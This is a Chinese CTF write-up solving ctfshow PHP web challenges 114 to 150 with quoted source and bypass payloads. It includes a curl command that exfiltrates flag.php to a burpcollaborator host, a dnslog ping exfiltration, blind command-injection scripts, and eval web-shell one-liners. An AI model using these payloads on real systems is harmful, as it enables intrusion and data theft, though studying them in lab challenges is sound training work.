?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输出ls /proc/self/root,其实显示的是根目录下的内容
web114 <?php error_reporting (0 );highlight_file (__FILE__ );function filter ($file ) { if (preg_match ('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];echo "师傅们居然tql都是非预期 哼!" ;if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; } 师傅们居然tql都是非预期 哼!
?file=php://filter/resource=flag.php
web115 <?php include ('flag.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; } $num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; } hacker!!!
trim函数与is_numeric函数 语法 trim(string,charlist) 参数 描述 string 必需。规定要检查的字符串。 charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符: "\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格
<?php for ($i =0 ; $i <128 ; $i ++) { $x =chr ($i ).'1' ; if (is_numeric ($x )==true ){ echo urlencode (chr ($i ))."\n" ; } }
<?php for ($i =0 ; $i <=128 ; $i ++) { $x =chr ($i ).'1' ; if (trim ($x )!=='1' && is_numeric ($x )){ echo urlencode (chr ($i ))."\n" ; } }
web123 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } ?>
这里的isset($_POST[‘CTF_SHOW.COM’])因为php变量命名是不允许使用点号的
PHP1.php
<?php if (isset ($_POST ['CTF_SHOW.COM' ])){ echo 123 ; }
req.php
<?php function curl ($url ,$data ) { $ch = curl_init (); curl_setopt ($ch ,CURLOPT_URL,$url ); curl_setopt ($ch ,CURLOPT_RETURNTRANSFER,1 ); curl_setopt ($ch ,CURLOPT_POST,1 ); curl_setopt ($ch ,CURLOPT_POSTFIELDS,$data ); $respose = curl_exec ($ch ); curl_close ($ch ); return strlen ($respose ); } $url = "http://127.0.0.1:80/PHP1.php" ;for ($i =0 ; $i <= 128 ; $i ++){ for ($j = 0 ;$j <= 128 ; $j ++){ $data ="CTF" .urlencode (chr ($i ))."SHOW" .urlencode (chr ($j ))."COM" ."=123" ; if (curl ($url ,$data )!=0 ){ echo $data ."\n" ; } } }
cli模式(命令行)下
第一个参数$_SERVER['argv'
][0]是脚本名,其余的是传递给脚本的参数
web网页模式下
在web页面模式下必须在php.ini开启register_argc_argv配置项,设置register_argc_argv = On(默认是off),重启服务,$_SERVER[‘argv’]才会有效果,这个时候的$_SERVER['argv'][0]
= $_SERVER[‘QUERY_STRING’],$argv在web模式下不适用
因为我们是在网页模式下运行的,所以$_SERVER['agrv'][0]
=$_SERVER['QUERY_STRING']
也就是$a[0] = $_SERVER['QUERY_STRING']
,这个时候我们只要通过eval(“$c”.”;”);将$flag赋值flag_give_me就可以了.
也就是a[‘$flg’] = flag_give_me
?$fl0g=flag_give_me; POST CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
POST CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag POST CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以
?a=1+fl0g=flag_give_me POST CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
有大佬啃了下php的c源码 总结如下
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去 继续判断query string是否为空, 如果不为空把通过+符号分割的字符串转换成php内部的zend_string, 然后再把这个zend_string复制到 arr 数组中去。
这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果。
web125 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } ?>
?$fl0g=flag_give_me; POST CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
?a=1+fl0g=flag_give_me POST CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web126 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
?$fl0g=flag_give_me; POST CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
?a=1+fl0g=flag_give_me POST CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web127 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$ctf_show = md5 ($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } } if (waf ($url )){ die ("嗯哼?" ); }else { extract ($_GET ); } if ($ctf_show ==='ilove36d' ){ echo $flag ; }
req.php
<?php function curl ($url ) { $ch =curl_init ($url ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $result =curl_exec ($ch ); curl_close ($ch ); return strlen ($result ); } for ($i =0 ; $i < 128 ; $i ++) { $url ="http://localhost:80/PHP1.php?ctf" .urlencode (chr ($i ))."show=1" ; if (curl ($url )!==0 ){ echo urlencode (chr ($i ))."\n" ; } }
PHP1.php
<?php if (isset ($_GET ['ctf_show' ])){ echo 123 ; }
发现输出
+ _ [ . + 这里的加号在url中起到空格的作用
web128 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check ($f1 )){ var_dump (call_user_func (call_user_func ($f1 ,$f2 ))); }else { echo "嗯哼?" ; } function check ($str ) { return !preg_match ('/[0-9]|[a-z]/i' , $str ); } NULL
gettext扩展
在开启该拓展后 _() 等效于 gettext()
<?php echo gettext ("phpinfo" );echo _ ("phpinfo" );
我们的flag在flag.php中,所以可以直接使用get_defined_vars
get_defined_vars ( void ) : array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
?f1=_&f2=get_defined_vars
web129 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['f' ])){ $f = $_GET ['f' ]; if (stripos ($f , 'ctfshow' )>0 ){ echo readfile ($f ); } }
stripos() 查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
?f=http://url/xxx.txt?ctfshow ?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php ?f=../ctfshow/../../../../../../../../var/www/html/flag.php
php支持多种编码方式,无效的自动被忽略
web130 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ;
正则最大回溯次数绕过 PHP利用PCRE回溯次数限制绕过某些安全限制
php为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设置了一个回溯次数上限pcre.backtrack_limit回溯次数上限的默认是100万,如果回溯次数超过了100万,preg_match将不在返回非1和0,而是false,这样我们就能绕过第一个正则表达式了
import requestsurl="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/" data={ 'f' :'very' *250000 +'ctfshow' } r=requests.post(url,data=data) print (r.text)
但是这里也可以使用preg_match无法处理数组
还有这里的正则匹配是s表示多行
.+表示匹配一次或者多次任意字符,而?表示尽可能少的匹配到前面的字符也就是什么都不加就匹配不到,stripos会匹配到的话返回一个 int 始终不(===)强等于 FALSE
所以什么都不加就匹配不到
web131 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
import requestsurl="http://55fddafa-eb92-4a44-adc4-776cbe88c54a.challenge.ctf.show/" data={ 'f' :'very' *250000 +'36Dctfshow' } r=requests.post(url,data=data) print (r.text)
web132
<?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String)$_GET ['username' ]; $password = (String)$_GET ['password' ]; $code = (String)$_GET ['code' ]; if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } }
在网址后面输入/admin进入源码界面
<?php if (false && false || true ){echo 123 ;} if (true && true || false ){ echo 123 ; }
所以只需要
?username=admin&password=1&code=admin
web133 <?php error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|netcat/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("6个字母都还不够呀?!" ); } } ctFshoW{30 bF48c6-60 a1-4 dD4-ad20-bD9237778c4k
如果我们传入的$F本身,会不会发生变量覆盖
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明确实执行了命令 我们传递`$F`;+sleeo 3 先进行substr()函数截断然后去执行eval()函数,这个函数的作用就是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行,而我$F就是我们输入的`$F`;+sleep 3使用最后执行的代码应该是``$F`;+sleep 3`,就执行成功
然后就是利用curl去带出去flag.php
Burp的 Collaborator Client curl -F 将文件上传到burp的collaborator client(功能类似dnslog,其功能要比dnslog强大,主要体现在可以查看post请求包以及打cookies)
?F=`$F`;+curl -X POST -F xx=@flag.php http://mnd5kc6807ukbpfu3nyqbf35xw3ord.burpcollaborator.net #其中-F 为带文件类型发送的POST请求 #xx是上传文件的name值,falg.php就是上传文件
web134 <?php highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]); extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); }
extract() 函数从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 该函数返回成功设置的变量数目。 <?php $a = "Original"; $my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c"; ?> $a = Cat; $b = Dog; $c = Horse
post变量覆盖
?_POST[key1]=36d&_POST[key2]=36d
web135 内联加变量覆盖 获得dns地址
<?php error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("师傅们居然破解了前面的,那就来一个加强版吧" ); } }
`$F`;+ping `cat flag.php|awk 'NR==2'`.h25mgt.dnslog.cn
上面这个不行哦,反正我的不行
不过既然能执行命令,那可选的方式就多了
?F=`$F `;mv f* 1.txt 重命名 ?F=`$F `;nl f*>2.txt 写文件
web136 linux的tree写文件 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
linux中还有其他命令写文件
?c=cat /f149_15_h3r3| tee 3
web137 ::调用静态方法 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } call_user_func ($_POST ['ctfshow' ]);
POST ctfshow=ctfshow::getflag
php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法.
web138 call_user_func()传数组 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } if (strripos ($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func ($_POST ['ctfshow' ]);
call_user_func中不但可以传字符串也可以传数组
call_user_func(array($classname, 'say_hello')); 这时候会调用 classname中的 say_hello方法
POST ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139 命令执行之盲注 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
import requests import time import string str=string .ascii_letters+string .digits result="" for i in range (1 ,5 ): key=0 for j in range (1 ,15 ): if key==1 : break for n in str: payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi" .format (i,j,n) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c=" +payload try : requests.get (url,timeout=(2.5 ,2.5 )) except: result=result+n print (result) break if n=='9' : key=1 result+=" "
import requestsimport timeimport stringstr = string.ascii_letters + string.digitsresult = "" key = 0 for j in range (1 ,50 ): if key ==1 : break for n in str : payload = f"if [ `cat /f149_15_h3r3|cut -c {j} ` == {n} ];then sleep 5; fi" url = "http://ccada3fe-3d44-4659-940d-48a89d8df940.challenge.ctf.show/?c=" + payload try : requests.get(url , timeout=3 ) except : result = result + n print (result) break
web140 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String)$_POST ['f1' ]; $f2 = (String)$_POST ['f2' ]; if (preg_match ('/^[a-z0-9]+$/' , $f1 )){ if (preg_match ('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval ($code ) == 'ctfshow' ){ echo file_get_contents ("flag.php" ); } } } }
可以看到只要我们让intval($code)为0就可以了intval会将非数字字符转换为0,也就是说
intval('a')==0 intval('.')==0 intval('/')==0
md5(phpinfo()) md5(sleep()) md5(md5()) current(localeconv) sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1 system(system()) pos(pos())
web141 ~取反无字母数字绕过正则 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/^\W+$/' , $v3 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
/^\W+$/ 作用是匹配非数字字母下划线的字符.
eval("return 1;phpinfo();");
会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的.构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-
php1.php
<?php fwrite (STDOUT,'[+]your function: ' );$system =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); fwrite (STDOUT,'[+]your command: ' );$command =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); echo '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ;
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)-
web142 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['v1' ])){ $v1 = (String)$_GET ['v1' ]; if (is_numeric ($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep ($d ); echo file_get_contents ("flag.php" ); } }
或者
1e-999999就是1x10^-999999,可以把后面的抵消掉
web143 ^异或无字母数字绕过正则 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
先运行php生成字典
记得先改一下正则表达式
<?php $myfile = fopen ("xor_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )^urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
接着运行py生成payload
import requests import urllib from sys import *import os def action (arg): s1="" s2="" for i in arg: f=open ("xor_rce.txt" ,"r" ) while True: t=f.readline () if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close () output="(\"" +s1+"\"^\"" +s2+"\")" return (output) while True: param=action (input ("\n[+] your function:" ) )+action (input ("[+] your command:" ))+";" print (param)
加减被过滤了还有乘除
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0e%0c%00%06%00"^"%60%60%20%60%2a")*
web144 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && check ($v3 )){ if (preg_match ('/^\W+$/' , $v2 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } } function check ($str ) { return strlen ($str )===1 ?true :false ; }
v3只能是一个字符,那么很容易就想到1-phpinfo()
直接用前面的
?v1=1&v3=-&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0e%0c%00%06%00"^"%60%60%20%60%2a")
web145 三目运算符 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
eval("return 1?phpinfo():1;");
这样是可以执行phpinfo()的
?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):&v2=1
web146 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
冒号被过滤了,我们使用||运算符
eval("return 1==phpinfo()||1;");
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)| ?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
web147 create_function()代码注入 <?php highlight_file (__FILE__ );if (isset ($_POST ['ctf' ])){ $ctfshow = $_POST ['ctf' ]; if (!preg_match ('/^[a-z0-9_]*$/isD' ,$ctfshow )) { $ctfshow ('' ,$_GET ['show' ]); } }
create_function ('$a' ,'echo $a."123"' )类似于 function f ($a ) { echo $a ."123" ; }
那么如果我们第二个参数传入 echo 1;}phpinfo();// 就等价于
function f ($a ) { echo 1 ;}phpinfo (); } 从而执行phpinfo ()命令
fuzz后发现%5c可以绕过这个正则表达式,具体原理可以看下这篇文章 这样我们就可以执行任意命令了
?show=echo 123;}eval($_POST['zf']);// POST ctf=%5ccreate_function&zf=phpinfo();
web148 中文变量 <?php include 'flag.php' ;if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (preg_match ("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code )){ die ("error" ); } @eval ($code ); } else { highlight_file (__FILE__ ); } function get_ctfshow_fl0g ( ) { echo file_get_contents ("flag.php" ); }
异或
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
中文变量
?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
"`{{{"^"?<>/"; 异或出来的结果是 _GET
web149 条件竞争 <?php error_reporting (0 );highlight_file (__FILE__ );$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($_GET ['ctf' ], $_POST ['show' ]);$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } }
直接往index.php写一句话
?ctf=index.php POST show=<?php eval($_POST[1]);?>
条件竞争
ctf=1.php show=<?php system('tac /c*');?>
web150 <?php include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE ){ include ($ctf ); }
日志文件包含写一句话 .修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。首先访问index.php 修改user_agent为一句话.然后包含日志文件